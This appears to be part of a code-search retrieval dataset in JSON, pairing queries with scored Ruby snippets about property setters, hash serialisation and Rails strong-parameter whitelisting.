deep_obj.is_a?(Array)\n\t\t\t\t\t\tif key[:this][:type] == :index\n\t\t\t\t\t\t\tif key[:this][:value] <= -1 && key[:this][:max] > deep_obj.size\n\t\t\t\t\t\t\t\t# You asked for it!\n\t\t\t\t\t\t\t\t# The only time an Array will break is if you try to set a negative key larger than the size of the array. In this case we'll prepend your array with nils.\n\t\t\t\t\t\t\t\tdeep_obj = Array.new(key[:this][:max] - deep_obj.size, nil).concat(deep_obj)\n\t\t\t\t\t\t\t\treconstruct = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t# You asked for it!\n\t\t\t\t\t\t\t# Trying to access non-numeric key on an array, so will convert the array into a hash with integer keys.\n\t\t\t\t\t\t\tdeep_obj = deep_obj.each_with_index.map { |v, index| [index, v] }.to_h\n\t\t\t\t\t\t\treconstruct = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\n\t\t\t\tif reconstruct\n\t\t\t\t\t# Go back and reinject this altered value into the array\n\t\t\t\t\t@lookup[0...(index-1)].inject(@obj_with_keys) { |deep_obj2, this_key2|\n\t\t\t\t\t\tdeep_obj2[this_key2]\n\t\t\t\t\t}[key[:last][:value]] = deep_obj\n\t\t\t\tend\n\n\t\t\t\t# Does this object already have this key?\n\t\t\t\tif !deep_obj.dial[key[:this][:value]].set?\n\t\t\t\t\t# If not, create empty array/hash dependant on upcoming key\n\t\t\t\t\tif type_class_skipped\n\t\t\t\t\t\tif key[:next][:type] == :index\n\t\t\t\t\t\t\tif key[:next][:value] <= -1\n\t\t\t\t\t\t\t\t# Ensure new array big enough to address a negative key\n\t\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = Array.new(key[:next][:max])\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# Otherwise, can just create an empty array\n\t\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = []\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t# Create an empty hash awaiting keys/values\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = {}\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif type_class == Array\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = []\n\t\t\t\t\t\telsif type_class == Hash\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = {}\n\t\t\t\t\t\telsif type_class == Struct\n\t\t\t\t\t\t\t# Why would you do this?\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = Coercion::Structs::EMPTY.dup\n\t\t\t\t\t\telsif type_class.is_a?(Class) && type_class < Struct\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = type_class.new\n\t\t\t\t\t\telsif type_class.respond_to?(:new)\n\t\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = type_class.new\n\t\t\t\t\t\t\trescue\n\t\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = nil\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telsif !type_class_skipped && last_index && !deep_obj[key[:this][:value]].is_a?(type_class)\n\t\t\t\t\t#Key already exists, but we must ensure it's of the right type\n\t\t\t\t\tif type_class == Array\n\t\t\t\t\t\tdeep_obj[key[:this][:value]] = Array.from(deep_obj[key[:this][:value]])\n\t\t\t\t\telsif type_class == Hash\n\t\t\t\t\t\tdeep_obj[key[:this][:value]] = Hash.from(deep_obj[key[:this][:value]])\n\t\t\t\t\telsif type_class == Struct\n\t\t\t\t\t\t# Why would you do this?\n\t\t\t\t\t\tdeep_obj[key[:this][:value]] = Struct.from(deep_obj[key[:this][:value]])\n\t\t\t\t\telsif type_class.is_a?(Class) && type_class < Struct\n\t\t\t\t\t\tdeep_obj[key[:this][:value]] = type_class.from(deep_obj[key[:this][:value]])\n\t\t\t\t\telsif type_class == String && deep_obj[key[:this][:value]].respond_to?(:to_s)\n\t\t\t\t\t\tdeep_obj[key[:this][:value]] = deep_obj[key[:this][:value]].to_s\n\t\t\t\t\telsif type_class == Symbol\n\t\t\t\t\t\tif deep_obj[key[:this][:value]].respond_to?(:to_sym)\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = deep_obj[key[:this][:value]].to_s\n\t\t\t\t\t\telsif deep_obj[key[:this][:value]].respond_to?(:to_s)\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = deep_obj[key[:this][:value]].to_s.to_sym\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twarn \"Could not coerce value to #{type_class}\"\n\t\t\t\t\t\tend\n\t\t\t\t\telsif type_class.respond_to?(:new)\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tdeep_obj[key[:this][:value]] = type_class.new\n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\twarn \"Could not coerce value to #{type_class}\"\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\twarn \"Could not coerce value to #{type_class}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Quit if this is the penultimate or last iteration\n\t\t\t\t#next deep_obj if last_index\n\n\t\t\t\t# Increment index manually\n\t\t\t\tindex += 1\n\n\t\t\t\t# Before here, we must make sure we can access key on deep_obj\n\t\t\t\t# Return the value at this key for the next part of inject loop\n\t\t\t\tdeep_obj[key[:this][:value]]\n\n\t\t\t}\n\n\t\t\t# Final access (and set) of last key in the @lookup - by this point should be guaranteed to work!\n\t\t\t#if value_obj_skipped\n\t\t\t#\treturn obj_to_set[@lookup[-1]]\n\t\t\t#else\n\t\t\t#\treturn obj_to_set[@lookup[-1]] = value_obj\n\t\t\t#end\n\n\t\tend",
"title": ""
},
{
"docid": "3ffccc5d7ac9ad96c78a9e9bd880446e",
"score": "0.45888424",
"text": "def property(value)\n merge(property: value.to_s)\n end",
"title": ""
},
{
"docid": "49ee227571d4392230d0b66d76258ec1",
"score": "0.45880157",
"text": "def serializable_hash(options=nil)\n super.merge \"type\" => type\n end",
"title": ""
},
{
"docid": "0ec928061b478cd3aded95134bb1db5e",
"score": "0.45842865",
"text": "def serializable_hash options=nil\n \t\tsuper.merge \"type\" => type\n\tend",
"title": ""
},
{
"docid": "0ec928061b478cd3aded95134bb1db5e",
"score": "0.45842865",
"text": "def serializable_hash options=nil\n \t\tsuper.merge \"type\" => type\n\tend",
"title": ""
},
{
"docid": "29c0b01ef0e52aa43f7cf489bf9546a9",
"score": "0.45702636",
"text": "def serializable_hash options=nil\n super.merge \"type\" => type\n end",
"title": ""
},
{
"docid": "c77dc240361a2142bca0887f3f1a927a",
"score": "0.4567604",
"text": "def primary_property\n pp = self.variant_properties.find_by(primary: true)\n pp ? pp : self.product_sku_properties.first\n end",
"title": ""
},
{
"docid": "9218e5fbd6951fe92b59827a0e715849",
"score": "0.45649382",
"text": "def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end",
"title": ""
},
{
"docid": "da962e562bae3313e60baaf3ba6a1e86",
"score": "0.45636928",
"text": "def primitive\n @property_hash[:primitive]\n end",
"title": ""
},
{
"docid": "7288c544451632a074003fd82f3b97a7",
"score": "0.45621386",
"text": "def property_schema_hash(property, model)\n schema = super\n schema.delete(:default) if schema[:primitive] == 'TEXT'\n schema\n end",
"title": ""
},
{
"docid": "a1943f05099812f2f4597ff2484eae14",
"score": "0.45563543",
"text": "def lhs\n if known?\n @klass.export_mappings.key(attr.name)\n elsif additional?\n \"#{type} #{@klass.export_mappings.key(attr.name)}\"\n else\n type\n end\n end",
"title": ""
},
{
"docid": "a1f1be9e8856abae989290504242c637",
"score": "0.45541325",
"text": "def property(*props)\n if props.size == 2 and props[1].kind_of?(Hash)\n props[1].each_pair do |key, value|\n pname = props[0].to_sym\n properties_info[pname] ||= {}\n properties_info[pname][key] = value\n end\n props = props[0..0]\n end\n\n props.each do |prop|\n pname = prop.to_sym\n properties_info[pname] ||= {}\n properties_info[pname][:defined] = true\n\n define_method(pname) do\n self[pname]\n end\n\n name = (pname.to_s() +\"=\").to_sym\n define_method(name) do |value|\n self[pname] = value\n end\n end\n end",
"title": ""
},
{
"docid": "1e8a3e9740abccdf6c230d94714d80d3",
"score": "0.45493346",
"text": "def flexible_key; end",
"title": ""
},
{
"docid": "62138ddce67c420c24bba44324fc5d5d",
"score": "0.45488465",
"text": "def generate_format_hash(classname, property, resourcePath)\n map = {}\n resourcePath.scan(/\\{([^}]*)\\}/) { |name, etc|\n if (name.match(/^#{classname}.*/i) and !is_static_method(property))\n map[name] = 'this.getId()'\n else\n map[name] = validate_property_name(name)\n end\n }\n map\n end",
"title": ""
},
{
"docid": "d36f792f714fe999e91f89299dc8e5bf",
"score": "0.45434812",
"text": "def blockly_options\n options = Rails.cache.fetch(\"#{cache_key}/blockly_level_options/v2\") do\n level = self\n level_prop = {}\n\n # Map Dashboard-style names to Blockly-style names in level object.\n # Dashboard sample_property will be mapped to Blockly sampleProperty by default.\n # To override the default camelization add an entry to this hash.\n overrides = {\n required_blocks: 'levelBuilderRequiredBlocks',\n recommended_blocks: 'levelBuilderRecommendedBlocks',\n toolbox_blocks: 'toolbox',\n x: 'initialX',\n y: 'initialY',\n maze: 'map',\n ani_gif_url: 'aniGifURL',\n success_condition: 'fn_successCondition',\n failure_condition: 'fn_failureCondition',\n }\n level.properties.keys.each do |dashboard|\n blockly = overrides[dashboard.to_sym] || dashboard.camelize(:lower)\n # Select value from properties json\n # Don't override existing valid (non-nil/empty) values\n value = JSONValue.value(level.properties[dashboard].presence)\n level_prop[blockly] = value unless value.nil? # make sure we convert false\n end\n\n # Set some specific values\n\n if level.is_a? Blockly\n level_prop['startBlocks'] = level.try(:project_template_level).try(:start_blocks) || level.start_blocks\n level_prop['toolbox'] = level.try(:project_template_level).try(:toolbox_blocks) || level.toolbox_blocks\n level_prop['codeFunctions'] = level.try(:project_template_level).try(:code_functions) || level.code_functions\n end\n\n if level.is_a? Applab\n level_prop['startHtml'] = level.try(:project_template_level).try(:start_html) || level.start_html\n end\n\n if level.is_a?(Maze) && level.step_mode\n step_mode = JSONValue.value(level.step_mode)\n level_prop['step'] = step_mode == 1 || step_mode == 2\n level_prop['stepOnly'] = step_mode == 2\n end\n\n level_prop['images'] = JSON.parse(level_prop['images']) if level_prop['images'].present?\n\n # Blockly requires startDirection as an integer not a string\n level_prop['startDirection'] = level_prop['startDirection'].to_i if level_prop['startDirection'].present?\n level_prop['sliderSpeed'] = level_prop['sliderSpeed'].to_f if level_prop['sliderSpeed']\n level_prop['scale'] = {'stepSpeed' => level_prop['stepSpeed']} if level_prop['stepSpeed'].present?\n\n # Blockly requires these fields to be objects not strings\n %w(map initialDirt rawDirt goal softButtons inputOutputTable).\n concat(NetSim.json_object_attrs).\n concat(Craft.json_object_attrs).\n each do |x|\n level_prop[x] = JSON.parse(level_prop[x]) if level_prop[x].is_a? String\n end\n\n # some older levels will not have 'rawDirt' in the saved params;\n # in this case, we can infer its value from their map and\n # initialDirt values\n if level.is_a? Karel\n unless level_prop['rawDirt']\n map = level_prop['map']\n initial_dirt = level_prop['initialDirt']\n level_prop['rawDirt'] = Karel.generate_raw_dirt(map, initial_dirt)\n end\n end\n\n # Blockly expects fn_successCondition and fn_failureCondition to be inside a 'goals' object\n if level_prop['fn_successCondition'] || level_prop['fn_failureCondition']\n level_prop['goal'] = {fn_successCondition: level_prop['fn_successCondition'], fn_failureCondition: level_prop['fn_failureCondition']}\n level_prop.delete('fn_successCondition')\n level_prop.delete('fn_failureCondition')\n end\n\n app_options = {}\n\n app_options[:levelGameName] = level.game.name if level.game\n app_options[:skinId] = level.skin if level.is_a?(Blockly)\n\n # Set some values that Blockly expects on the root of its options string\n non_nil_level_prop = level_prop.reject!{|_, value| value.nil?}\n app_options.merge!({\n baseUrl: Blockly.base_url,\n app: level.game.try(:app),\n levelId: level.level_num,\n level: non_nil_level_prop,\n droplet: level.game.try(:uses_droplet?),\n pretty: Rails.configuration.pretty_apps ? '' : '.min',\n })\n end\n options[:level].freeze\n options.freeze\n end",
"title": ""
},
{
"docid": "2d778471a4b0c69d41baecee22731180",
"score": "0.45417306",
"text": "def sub_name\n primary_property ? \"#{primary_property.description}\" : ''\n end",
"title": ""
},
{
"docid": "fcccdb3d20197de44525baba414deeb0",
"score": "0.45355365",
"text": "def serializable_hash(options=nil)\n super.merge 'type' => type\n end",
"title": ""
},
{
"docid": "fcccdb3d20197de44525baba414deeb0",
"score": "0.45355365",
"text": "def serializable_hash(options=nil)\n super.merge 'type' => type\n end",
"title": ""
},
{
"docid": "9630017dde77c0fa2378145b392aeb05",
"score": "0.4529475",
"text": "def properties_and_identity\n (self.persistent_class.property_iterator.to_a + [self.persistent_class.identifier_property]).inject({}) do |h, value|\n if !value.respond_to?(:getRubyValue)\n h[value.name] = value\n end\n h\n end\n end",
"title": ""
},
{
"docid": "890bb80d5e4eefca76f63902313bc64e",
"score": "0.45281643",
"text": "def prop_decl(prop)\n return 'kind_of: [TrueClass, FalseClass]' if prop.type == 'Boolean'\n return 'Float' if prop.type == 'Double'\n\n # Chef manifest files show Nested Objects as Hash, or Google::Property\n # They will be immediately coerced into a Google::Property in the end\n return \"[Hash, ::#{prop.property_type.gsub(':Property:', ':Data:')}]\" \\\n if prop.is_a? Api::Type::NestedObject\n\n return \"[String, ::#{prop.property_type.gsub(':Property:', ':Data:')}]\" \\\n if prop.is_a? Api::Type::ResourceRef\n\n if prop.type == 'Enum'\n return format([\n [\"equal_to: %w[#{prop.values.join(' ')}]\"],\n ((1..prop.values.length - 1).to_a.map do |i|\n [\"equal_to: %w[#{prop.values.slice(0, i).join(' ')}\",\n indent(\"#{prop.values.slice(i, prop.values.length).join(' ')}]\",\n 13)]\n end)\n ].flatten(1), 0, 16)\n end\n\n prop.type\n end",
"title": ""
},
{
"docid": "8d9800b4d4b3ffe7d52b016221f1af60",
"score": "0.45270678",
"text": "def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend",
"title": ""
},
{
"docid": "2f85dfc06133c92de9084e6da264dcd7",
"score": "0.4526972",
"text": "def js_flat_hash(options = {}) # :yield: String\n @opt = {\n :max_depth => 999,\n :depth => 0,\n :children => [],\n :relationship_type => 'all' # or an Isa#id\n }.merge!(options.symbolize_keys)\n @opt[:depth] = @opt[:depth] + 1\n if @opt[:depth] < @opt[:max_depth]\n self.child_ontology_relationships(@opt).each do |n|\n @opt[:children] << n\n n.ontology_class1.js_flat_hash(@opt)\n end\n end\n return @opt[:children]\n end",
"title": ""
},
{
"docid": "1a6cfe7388943588ee47a58b160841d4",
"score": "0.45258132",
"text": "def default_value\n\t\t# This bizarre construct is done in order to not be reliant\n\t\t# on the inherent assignment-order when using Property.new({...})\n\t\t# since that hash can be ordered anywhich way .daniel\n\t\tif value_id\n\t\t\tvalue_object.default_value\n\t\telse\t\t\t\n\t\t\t@default_value\n\t\tend\n\tend",
"title": ""
},
{
"docid": "83df2617a92516951d03762b44d06c9c",
"score": "0.4523887",
"text": "def to_yaml_properties\n property_map.find_all do |prop, req|\n case req\n when :opt\n not instance_variable_get( prop ).nil?\n when :req\n true\n end\n end.\n collect do |prop, req|\n prop\n end\n end",
"title": ""
},
{
"docid": "262333c826d3e0d8b4c3a7a640ebdc87",
"score": "0.45198014",
"text": "def type\n @props[:type]\n end",
"title": ""
},
{
"docid": "396d72ea6208186f7ce08190aa1f4d61",
"score": "0.4518296",
"text": "def create_processor_for_property(name, type_property, required)\n property_type = type_property.type\n if property_type == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? type_property.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n false,\n type_property.items,\n type_property.properties[:default],\n type_property.properties\n )\n else\n processor_for_values = create_processor_for_type(name, type_property.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(name, required, processor_for_values)\n elsif PRIMITIVE_TYPES.include? property_type\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n required,\n property_type,\n type_property.properties[:default],\n type_property.properties\n )\n else\n create_processor_for_type(name, property_type, required)\n end\n end",
"title": ""
},
{
"docid": "f70df7bab4dcdcff28b923f3607854e5",
"score": "0.45171726",
"text": "def value_type_chain_dump(o)\n return if o.ordered_dumped\n value_type_chain_dump(o.supertype) if (o.supertype && !o.supertype.ordered_dumped)\n value_type_fork(o)\n o.ordered_dumped!\n end",
"title": ""
},
{
"docid": "2568bfa579914d88a7c4e9a25e2ffd97",
"score": "0.45120206",
"text": "def set_bucket_type_props(bucket_type, props)\n stringify_keys!(props)\n\n bucket_type = bucket_type.name if bucket_type.respond_to?(:name)\n bucket_type_props = bucket_type_data(bucket_type)[:props]\n bucket_type_props.merge!(props)\n bucket_type_props\n end",
"title": ""
},
{
"docid": "15650e9a777fd4958a495b417afd1f87",
"score": "0.45107752",
"text": "def value\n\t\t# This bizarre construct is done in order to not be reliant\n\t\t# on the inherent assignment-order when using Property.new({...})\n\t\t# since that hash can be ordered anywhich way .daniel\n\t\tif value_id\n\t\t\tvalue_object.value\n\t\telse\t\t\t\n\t\t\t@value\n\t\tend\n\tend",
"title": ""
},
{
"docid": "416888e06f639c912e1ef19d2237db05",
"score": "0.4509281",
"text": "def property(key, opts={})\n case opts \n when Hash\n opts.merge!({:persistent=>true})\n else\n opts = {:persistent=>true}\n end\n def_attribute(key.to_sym, opts)\n end",
"title": ""
},
{
"docid": "f160d653e1d4f19500ce41803441b129",
"score": "0.45038277",
"text": "def type_to_form_ready_hash_logsettings\n {\n # settings: {\n logDir: resource[:logdir],\n logLevel: resource[:serverloglevel],\n maxLogFileAge: resource[:logmaxfileage],\n maxErrorReportsCount: resource[:logmaxerrorreports],\n # },\n }\n end",
"title": ""
},
{
"docid": "6685c96a80f7c49ee86857f6fa6e989f",
"score": "0.4501313",
"text": "def set_pair_type\n @type = 'class' if @key == '*c' || @key == '*class'\n if @key == '*C' || @key == '*CLASS'\n @type = 'class'\n @key = @key.downcase\n end\n @type = 'id' if @key == '*i' || @key == '*id'\n @type = 'name' if @key == '*n' || @key == '*name'\n @type = 'name' if @key == '*N' || @key == '*NAME'\n @type = 'superclass' if @key == '*S' || @key == '*SUPERCLASS'\n @type = 'superclass' if @key == '*s' || @key == '*superclass'\n @type = 'keylist' if @key == '*a' || @key == '*assign'\n @type = 'version' if @key == '*V' || @key == '*VERSION'\n @type = 'method' if @key == '*m' || @key == '*method'\n @type = 'transform' if @key == '*t' || @key == '*transform'\n if @key == '*L' || @key == '*LOAD'\n @key = @key.downcase\n @type = 'import'\n if @array\n @global.freeze_max_files(@array.abstractArrayItems.length)\n elsif @valueItem&.value&.array\n @global.freeze_max_files(@valueItem&.value&.array.abstractArrayItems.length)\n elsif @valueItem&.value&.nbArray\n @global.freeze_max_files(@valueItem&.value&.nbArray.arrayItems.length)\n else\n @global.freeze_max_files(1)\n end\n end\n if @key == '*l' || @key == '*load'\n @type = 'import'\n end\n @type = 'index' if @key == '?'\n @type = 'hidden' if @key.start_with? '_'\n @type = 'allow' if @key.downcase == '*allow'\n end",
"title": ""
},
{
"docid": "27c1b21a030271035729f59fb835f5f2",
"score": "0.4498755",
"text": "def build_option_types(option_types)\n\n optiontype_vlist_map = {}\n\n option_types.each do |ostr|\n\n oname, value_str = ostr.split(name_value_delim)\n\n option_type = option_type_klass.where(:name => oname).first\n\n unless option_type\n option_type = option_type_klass.create(:name => oname, :presentation => oname.humanize)\n\n unless option_type\n logger.warm(\"WARNING: OptionType #{oname} NOT found and could not create - Not set Product\")\n next\n end\n logger.info \"Created missing OptionType #{option_type.inspect}\"\n end\n\n # OptionTypes must be specified first on Product to enable Variants to be created\n product_load_object.option_types << option_type unless product_load_object.option_types.include?(option_type)\n\n # Can be simply list of OptionTypes, some or all without values\n next unless(value_str)\n\n optiontype_vlist_map[option_type] ||= []\n\n # Now get the value(s) for the option e.g red,blue,green for OptType 'colour'\n optiontype_vlist_map[option_type] += value_str.split(',').flatten\n end\n\n\n # A single Variant can have MULTIPLE Option Types and the Syntax supports this combining\n #\n # So we need the LONGEST set of OptionValues - to use as the BASE for combining with the rest\n #\n # mime_type:png,PDF; print_type:colour\n #\n # This means create 2 Variants\n # 1 mime_type:png && print_type:colour\n # 1 mime_type:PDF && print_type:colour\n #\n # And we want to identify this \"mime_type:png,PDF\" as the longest to combine with the smaller print_type list\n\n sorted_map = optiontype_vlist_map.sort_by { |ot, ov| ov.size }.reverse\n\n sorted_map\n\n end",
"title": ""
},
{
"docid": "2c3f7ec997448126cb033ae6b805e1c9",
"score": "0.44886732",
"text": "def option_property\n block = proc do |key_and_value|\n hash = YAML.load(key_and_value)\n raise OptionParser::InvalidArgument.new('\"' + key_and_value + '\"') unless hash.kind_of?(Hash)\n #\n key = hash.keys[0]\n value = hash[key]\n save_option_value(key, value); propagate_option('--property', key_and_value)\n end\n @cl_parser.on('--property \"KEY: VALUE\"', 'Enter arbitrary property values.',\n 'Can be used multiple times for multiple properties.', &block)\n end",
"title": ""
},
{
"docid": "22aa8dffb21f316801361363dd47aefa",
"score": "0.44882888",
"text": "def build_map(value)\n { \"_type\" => type_key, \"_value\" => value }\n end",
"title": ""
},
{
"docid": "ef1c1a8304a509f2e243c192024a250c",
"score": "0.44872862",
"text": "def property_map\n @property_map ||= properties.index_by(&:ticket_property_type)\n end",
"title": ""
},
{
"docid": "beb1edec578f619fa62a7c7ad8ccd00a",
"score": "0.447972",
"text": "def get_element(key, value, level)\n content = ''\n level.times { content << \"\\t\"}\n\n if value.is_a?(::Numeric)\n content << \"#{key.to_s}=#{get_numeric(value)};\\r\\n\"\n elsif value.is_a?(::String)\n content << \"#{key.to_s}=\\\"#{value.gsub(/\"/, '\"\"').to_s}\\\";\\r\\n\"\n elsif value.is_a?(::Array)\n content << get_array(key, value, level)\n elsif value.is_a?(::Hash)\n content << \"class #{key.to_s}\\r\\n\"\n level.times { content << \"\\t\"}\n content << \"{\\r\\n\"\n value.each{ |k,v|\n content << get_element(k, v, level + 1)\n }\n level.times { content << \"\\t\"}\n content << \"};\\r\\n\"\n end\n content\n end",
"title": ""
},
{
"docid": "36241fb9f05d53b4e3e3ff18948bb9cf",
"score": "0.44739965",
"text": "def ps_hash(obj, depth = 0)\n if [true, false].include? obj\n %{$#{obj}} # Return $true or $false when value is a bool\n elsif obj.is_a?(Hash)\n obj.map do |k, v|\n # Format \"Key = Value\" enabling recursion\n %{#{pad(depth + 2)}#{ps_hash(k)} = #{ps_hash(v, depth + 2)}}\n end\n .join(\"\\n\") # append \\n to the key/value definitions\n .insert(0, \"@{\\n\") # prepend @{\\n\n .insert(-1, \"\\n#{pad(depth)}}\\n\") # append \\n}\\n\n\n elsif obj.is_a?(Array)\n array_string = obj.map { |v| ps_hash(v, depth + 4) }.join(\",\")\n \"#{pad(depth)}@(\\n#{array_string}\\n)\"\n else\n # When the object is not a string nor a hash or array, it will be quoted as a string.\n # In most cases, PS is smart enough to convert back to the type it needs.\n \"'\" + obj.to_s + \"'\"\n end\n end",
"title": ""
},
{
"docid": "cea19b6d7b404ca9c6f0315273218989",
"score": "0.4468905",
"text": "def key(*args)\n key = super \n if converter_name = key.options[:as_string]\n key_name = key.name.to_sym \n available_as_string key_name, converter_name\n attr_protected \"#{key_name}_as_string\".to_sym if key.options[:protected] \n end\n key\n end",
"title": ""
},
{
"docid": "d7379dc39e5e5fe8a95e16bf8f08315a",
"score": "0.4465405",
"text": "def properties\n self.persistent_class.property_iterator.to_a.inject({}) do |h, value|\n if !value.respond_to?(:getRubyValue)\n h[value.name] = value\n end\n h\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "472e7033bf6a83d1eef0376d0b2cd8b5",
"score": "0.0",
"text": "def orcamentoempresa_params\n params.require(:orcamentoempresa).permit(:orcamento_id, :empresa_id)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
